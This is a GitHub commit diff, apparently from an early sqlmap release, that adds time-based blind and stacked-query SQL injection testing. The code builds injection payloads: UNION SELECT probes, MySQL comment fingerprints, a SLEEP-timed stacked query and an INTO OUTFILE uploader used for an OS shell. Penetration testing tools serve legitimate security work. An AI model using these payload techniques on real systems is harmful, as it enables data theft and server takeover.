Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 81ed7c2

Browse files
committed
Initial implementation of support for stacked queries.
Added method to test for Time based blind SQL injection query stacking on the affected parameter a SLEEP() or similar DBMS specific function. Adapted libraries, plugins and XML with the above changes. Minor layout adjustments.
1 parent 13f76cf commit 81ed7c2

12 files changed

Lines changed: 185 additions & 95 deletions

File tree

lib/controller/action.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,10 @@ def action():
6868

6969
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
7070

71-
# Miscellaneous options
71+
# Techniques options
72+
if conf.timeTest:
73+
dumper.string("time based sql injection", conf.dbmsHandler.timeTest())
74+
7275
if conf.unionTest:
7376
dumper.string("valid union", unionTest())
7477

lib/core/agent.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ def prefixQuery(self, string):
9595
else:
9696
raise sqlmapNoneDataException, "unsupported injection type"
9797

98-
if kb.parenthesis != None:
98+
if kb.parenthesis not in ( None, 0 ):
9999
query += "%s " % (")" * kb.parenthesis)
100100

101101
query += string
@@ -343,7 +343,7 @@ def forgeInbandQuery(self, query, exprPosition=None):
343343
@rtype: C{str}
344344
"""
345345

346-
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
346+
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
347347

348348
if not exprPosition:
349349
exprPosition = kb.unionPosition

lib/core/optiondict.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,12 @@
4848
"dbms": "string",
4949
},
5050

51+
"Techniques": {
52+
"timeTest": "boolean",
53+
"unionTest": "boolean",
54+
"unionUse": "boolean",
55+
},
56+
5157
"Fingerprint": {
5258
"extensiveFp": "boolean",
5359
},
@@ -85,8 +91,6 @@
8591
},
8692

8793
"Miscellaneous": {
88-
"unionTest": "boolean",
89-
"unionUse": "boolean",
9094
"eta": "boolean",
9195
"verbose": "integer",
9296
"updateAll": "boolean",

lib/core/settings.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,3 +64,5 @@
6464
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
6565

6666
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
67+
68+
TIME_SECONDS = 5

lib/parse/cmdline.py

Lines changed: 22 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,27 @@ def cmdLineParser():
103103
injection.add_option("--dbms", dest="dbms",
104104
help="Force back-end DBMS to this value")
105105

106+
# Techniques options
107+
techniques = OptionGroup(parser, "Techniques", "These options can "
108+
"be used to test for specific SQL injection "
109+
"technique or to use one of them to exploit "
110+
"the affected parameter(s) rather than using "
111+
"the default blind SQL injection technique.")
112+
113+
techniques.add_option("--time-test", dest="timeTest",
114+
action="store_true",
115+
help="Test for Time based blind SQL injection")
116+
117+
techniques.add_option("--union-test", dest="unionTest",
118+
action="store_true",
119+
help="Test for UNION SELECT (inband) SQL injection")
120+
121+
techniques.add_option("--union-use", dest="unionUse",
122+
action="store_true",
123+
help="Use the UNION SELECT (inband) SQL injection "
124+
"to retrieve the queries output. No "
125+
"need to go blind")
126+
106127
# Fingerprint options
107128
fingerprint = OptionGroup(parser, "Fingerprint")
108129

@@ -215,16 +236,6 @@ def cmdLineParser():
215236
# Miscellaneous options
216237
miscellaneous = OptionGroup(parser, "Miscellaneous")
217238

218-
miscellaneous.add_option("--union-test", dest="unionTest",
219-
action="store_true",
220-
help="Test for UNION SELECT (inband) SQL injection")
221-
222-
miscellaneous.add_option("--union-use", dest="unionUse",
223-
action="store_true",
224-
help="Use the UNION SELECT (inband) SQL injection "
225-
"to retrieve the queries output. No "
226-
"need to go blind")
227-
228239
miscellaneous.add_option("--eta", dest="eta", action="store_true",
229240
help="Retrieve each query output length and "
230241
"calculate the estimated time of arrival "
@@ -251,6 +262,7 @@ def cmdLineParser():
251262

252263
parser.add_option_group(request)
253264
parser.add_option_group(injection)
265+
parser.add_option_group(techniques)
254266
parser.add_option_group(fingerprint)
255267
parser.add_option_group(enumeration)
256268
parser.add_option_group(filesystem)

lib/parse/queriesfile.py

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -95,6 +95,14 @@ def startElement(self, name, attrs):
9595
data = sanitizeStr(attrs.get("query"))
9696
self.__queries.count = data
9797

98+
elif name == "comment":
99+
data = sanitizeStr(attrs.get("query"))
100+
self.__queries.comment = data
101+
102+
elif name == "timedelay":
103+
data = sanitizeStr(attrs.get("query"))
104+
self.__queries.timedelay = data
105+
98106
elif name == "substring":
99107
data = sanitizeStr(attrs.get("query"))
100108
self.__queries.substring = data

lib/request/inject.py

Lines changed: 23 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,8 @@
3838
from lib.core.data import logger
3939
from lib.core.data import queries
4040
from lib.core.data import temp
41+
from lib.core.settings import TIME_SECONDS
42+
from lib.request.connect import Connect as Request
4143
from lib.techniques.inband.union.use import unionUse
4244
from lib.techniques.inference.blind import bisection
4345
from lib.utils.resume import queryOutputLength
@@ -53,7 +55,7 @@ def __getFieldsProxy(expression):
5355

5456

5557
def __goInference(payload, expression):
56-
start = time.time()
58+
start = time.time()
5759

5860
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
5961
_, length, _ = queryOutputLength(expression, payload)
@@ -100,7 +102,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
100102
parameter through a bisection algorithm.
101103
"""
102104

103-
query = agent.prefixQuery(temp.inference)
105+
query = agent.prefixQuery(" %s" % temp.inference)
104106
query = agent.postfixQuery(query)
105107
payload = agent.payload(newValue=query)
106108
count = None
@@ -379,3 +381,22 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
379381
value = __goInferenceProxy(expression, fromUser, expected)
380382

381383
return value
384+
385+
386+
def goStacked(expression, timeTest=False):
387+
"""
388+
TODO: write description
389+
"""
390+
391+
query = agent.prefixQuery("; %s" % expression)
392+
query = agent.postfixQuery(query)
393+
payload = agent.payload(newValue=query)
394+
395+
start = time.time()
396+
Request.queryPage(payload)
397+
duration = int(time.time() - start)
398+
399+
if timeTest:
400+
return (duration >= TIME_SECONDS, payload)
401+
else:
402+
return duration >= TIME_SECONDS

lib/techniques/inband/union/test.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ def unionTest():
9292

9393
value = ""
9494

95-
query = agent.prefixQuery("UNION ALL SELECT NULL")
95+
query = agent.prefixQuery(" UNION ALL SELECT NULL")
9696

9797
for comment in ("--", "#", "/*", ";", "%00"):
9898
value = __effectiveUnionTest(query, comment)

plugins/dbms/mysql.py

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -128,7 +128,7 @@ def __commentCheck(self):
128128
logMsg = "executing MySQL comment injection fingerprint"
129129
logger.info(logMsg)
130130

131-
query = agent.prefixQuery("/* NoValue */")
131+
query = agent.prefixQuery(" /* NoValue */")
132132
query = agent.postfixQuery(query)
133133
payload = agent.payload(newValue=query)
134134
result = Request.queryPage(payload)
@@ -156,7 +156,7 @@ def __commentCheck(self):
156156
for version in range(element[0], element[1] + 1):
157157
randInt = randomInt()
158158
version = str(version)
159-
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
159+
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
160160
query = agent.postfixQuery(query)
161161
payload = agent.payload(newValue=query)
162162
result = Request.queryPage(payload)
@@ -285,10 +285,6 @@ def checkDbms(self):
285285
# Or if it is MySQL >= 5.0.0 and < 5.1.2
286286
elif inject.getValue("MID(@@hostname, 1, 1)"):
287287
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
288-
# NOTE: MySQL 5.0.12 introduced SLEEP() function
289-
# References:
290-
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
291-
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
292288
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
293289
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
294290
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
@@ -424,7 +420,7 @@ def osShell(self):
424420
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
425421
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
426422

427-
query = agent.prefixQuery(query)
423+
query = agent.prefixQuery(" %s" % query)
428424
query = agent.postfixQuery(query)
429425

430426
payload = agent.payload(newValue=query)

0 commit comments

Comments
 (0)